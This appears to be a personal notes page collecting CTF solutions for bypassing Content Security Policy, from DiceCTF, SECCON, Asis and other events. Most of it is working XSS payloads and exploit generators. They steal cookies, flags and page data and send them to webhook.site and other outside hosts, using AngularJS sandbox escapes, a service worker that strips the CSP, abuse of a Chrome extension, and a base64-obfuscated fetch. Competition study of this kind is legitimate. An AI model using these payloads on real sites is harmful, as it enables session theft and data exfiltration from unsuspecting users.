Skip to content

CSP Bypass

To avoid leaking path information cross-origin (as discussed in Egor Homakov’s Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the...

Created

Updated

5 min read

Reading time

2 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

Skynet CDN CSP Bypass

from urllib.parse import quote

def escape(s):
    d = {
        "&": "&",
        "<": "&lt;",
        ">": "&gt;",
        '"': "&quot;",
        "'": "&apos;",
        "`": "&#96;",
        "+": "&#43;",
    }
    return "".join(d.get(c, c) for c in s)

script = quote("top['location']['assign'](`https://webhook.site/0a2e67c9-43ed-4e03-9a81-523b502c47b7?${document['cookie']}`)").replace(".", "%5cx2e")
script = "https://cdn.skypack.dev/dompurify/%252f%3F%27;"+script+"%2f%2f"
print(print("<script/type=\"module\"/src=\""+script+"\"/></script>"))

CSP Bypass unsafe-eval in chrome extension

Event NameDiceCTF 2025
GitHub URL-
Challenge Namedicepass
Attachments
References

unitended solve using iframe bug
<form data-dicepass-username data-dicepass-password>
  <input name="value" />
</form>
<iframe id="f3" src="https://dicepass.dicec.tf/docs/test/"> </iframe>
<script>
  onload = () =>
    setTimeout(async function () {
      try {
        await dicepass.autofill();
      } catch (e) {}
      self.chrome =
        dicepass.prevUsername.ownerDocument.defaultView.parent.chrome;
      const vaults = (await chrome.storage.local.get("vault")).vault;
      [vaults[1].origin, vaults[0].origin] = [
        vaults[0].origin,
        vaults[1].origin,
      ];
      await chrome.storage.local.set({ vault: vaults });
      document.forms[0].outerHTML =
        "<input id=flag data-dicepass-username data-dicepass-password>";
      dicepass.prevUsername = null;
      dicepass.prevPassword = null;
      try {
        await dicepass.autofill();
      } catch (e) {}
      new Image().src = "/flag=" + flag.value;
    }, 1000);
</script>
itended solution

dicepass (intended solution):

  1. xss on docs page through intersection of pym and docusaurus https://dicepass.dicec.tf/docs/test/?docusaurus-data-pym-src=javascript:alert(1)//
  2. this gives you js exec on a site which has a password, so you can hit the part in the content script which sets prevUsername / prevPassword
  3. you can dom clobber prevUsername.value or prevPassword.value to be an HTML element using a form & input name=value
  4. by using comlink, you can then access the window reference of the content script (dicepass.prevUsername.ownerDocument.defaultView)
  5. get arb js execution in content script by using a chrome bug - you can call setTimeout with a string and it gets evaled, even though there is a CSP, so you overwrite defaultView.scanPage with a string
  6. get tab id, use comlink to prototype pollute the background script Object.prototype.tabId to point to yours
  7. open the popup window so it creates a new popup bridge, but now since tabId is polluted it will connect to your content script (where you have js exec)
  8. now that you can use the popup context, you can leak the origin which has the flag
  9. now you need a tab id for the flag, but since tab ids are not random, you can just open a window reference to the flag origin, and then try +1000 from your current tab id and one will be correct

CSP Bypass using redirect

Event NameBiITSKRIEG CTF 2025
GitHub URL-
Challenge NameGet into my Cute Small Planner
Attachments
Reference

To avoid leaking path information cross-origin (as discussed in Egor Homakov’s Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect. For example, given a page with an active policy of img-src example.com example.org/path:

  • Directly loading https://example.org/not-path would fail, as it doesn’t match the policy.
  • Directly loading https://example.com/redirector would pass, as it matches example.com.
  • Assuming that https://example.com/redirector delivered a redirect response pointing to https://example.org/not-path, the load would succeed, as the initial URL matches example.com, and the redirect target matches example.org/path if we ignore its path component.
solver
嘼script src="<http://localhost:3000/redirect?url=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js>" 嘾// 嘼/script 嘾
<div data-ng-app>{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };
    fetch(`http://localhost:3000/`).then(res=>res.text()).then(data=>{ const parser = new DOMParser();
    const doc = parser.parseFromString(data, "text/html");

    // Extract all links
    const links = Array.from(doc.querySelectorAll("a")).map(a => a.href);

    // Encode links properly
    const encodedLinks = btoa(unescape(encodeURIComponent(JSON.stringify(links))));

    // Send links to remote server
    return fetch("//0mrn93x5.c5.rs?ans=" + encodedLinks, { method: "GET", mode: "no-cors" })});//');}}</div>
∼script src="/redirect?url=https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js/../../../../../../ajax/libs/angular.js/1.7.0/angular.min.js">//∼/script>∼div ng-app ng-csp>∼input id=inp autofocus ng-focus=$event.view.eval('eval(atob(`ZmV0Y2goJy9ub3RlL2RhNDJiZjhkLThhMDgtNDQzZC05YjliLWQ0OThjYTIyODQ4MCcpLnRoZW4ociA9PiByLnRleHQoKSkudGhlbihkYXRhID0+IGZldGNoKCdodHRwczovL3dlYmhvb2suc2l0ZS9mZGVjMzhkNi04OGE4LTRkOTgtYTczMi1jNzIwYjM5MTM2NGM/Yz0nK2J0b2EoZGF0YSkpKQ==`))') />∼/div>

simpleCalc seccon quals 2023

bypass csp default-src {jsstaticfile} using navigation workers

the mimetype of the script must be js the origin must be same

from urllib.parse import quote

target = "<http://localhost:3000>"
webhook = "<https://webhook.site/9a2fbf03-9a64-49d1-9418-3728945d5e10>"
rmcsp = """
self.addEventListener("fetch", (ev) => {
    console.log(ev)
    let headers = new Headers()
    headers.set("Content-Type","text/html")
    if (/\\/js\\//.test(ev.request.url)){
        ev.respondWith(new Response("<script>fetch('/flag',{headers:{'X-FLAG':'1'},credentials:'include'}).then(async r=>{location='"""+webhook+"""?'+await r.text()})</script>",{headers}))
    }
});
console.log("registered2")
document = {}
document.getElementById = ()=>{return {innerText:"testing"}}
"""

workerUrl = "/js/index.js?expr="+quote(rmcsp)

payload = "navigator.serviceWorker.register('"+workerUrl+"');setInterval(()=>{location='/js/test'},2000)"

print(payload)
payload = target+"/js/..%2f?expr="+quote(payload)

Kurang lebih exploitasi ini memanfaatkan service worker untuk membypass CSP

res.header('Content-Security-Policy', default-src ${js_url} 'unsafe-eval';);

jadi kita memanfaatkan default-src ke script /js/index.js untuk membuat worker, yang dimana worker ini nanti bisa kita tambahkan "fetch" listener untuk menghilangkan CSP header pada page note: di challenge ini ada sedikit magic yang terlibat, yaitu kita bisa membypass worker scope dengan menggunakan "..%2f" (work di express)

unitended solution using same origin, add page with cspless iframe bug in chrome

var f=document.createElement('iframe');
f.src = `http://localhost:3000/js/index.js?q=${'a'.repeat(20000)}`;
document.body.appendChild(f);
f.onload = () => {
    f.contentWindow.fetch('/flag', { headers: {'X-FLAG': 'a'}, credentials:'include' })
        .then(res => res.text())
        .then(flag => location='<https://webhook.site/2ba35f39-faf4-4ef2-86dd-d85af29e4512?q='+flag>)
}

clober the fox https://ctf.p4.team/

<script>
    window.open(`https://clobber-the-fox.zajebistyc.tf/?param=<a+id%3Dclob+href%3D"//aa%25%0Alocation=['//xxxx.xxx.xxx?',opener.document.body.innerHTML]">x<%2Fa>`);
    location = '<https://clobber-the-fox.zajebistyc.tf/flag>';
</script>

If there a CSP like below where we can add sec-required-csp

gimme CSP

Asis CTF 2023 final

	res.header(
		'Content-Security-Policy',
		[`default-src 'none';`, ...[(req.headers['sec-required-csp'] ?? '').replaceAll('script-src','')]]
	)

we can use something like this to add a csp to report something potentially leaking sensitive data

<iframe src='<https://gimmecsp.asisctf.com?letter=></pre><img src="$gift$">' csp="default-src 'none'; repscript-srcort-uri <https://webhook.site/xxx>"></iframe>

or

<iframe referrerpolicy="no-referrer" src='<https://gimmecsp.asisctf.com/?letter=></pre><img src="$gift$">' csp="default-src 'none'; repscript-srcort-uri <https://webhook.site/f54edfd1-bf2e-4c79-87ed-d054377ebf11>"></iframe>

Bypassing csp with dns prefecth or preload, no javascript required

dicectf 2024 another-csp or web/safestlist?

https://www.cse.chalmers.se/research/group/security/pdf/data-exfiltration-in-the-face-of-csp.pdfhttps://github.com/w3c/webappsec-csp/issues/542

<https://developer.mozilla.org/en-US/docs/Web/Performance/dns-prefetch>
<link rel="dns-prefetch" href="<https://fonts.googleapis.com/>" />
<link rel=preload>
<link rel="prefetch" href="./img/intro.mp4" as="video">
<link rel="preconnect" href="attacker domain" crossorigin />

Categories & Topics

This note is categorized under the following topics. Click on any category to explore more related content.

Share this note

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.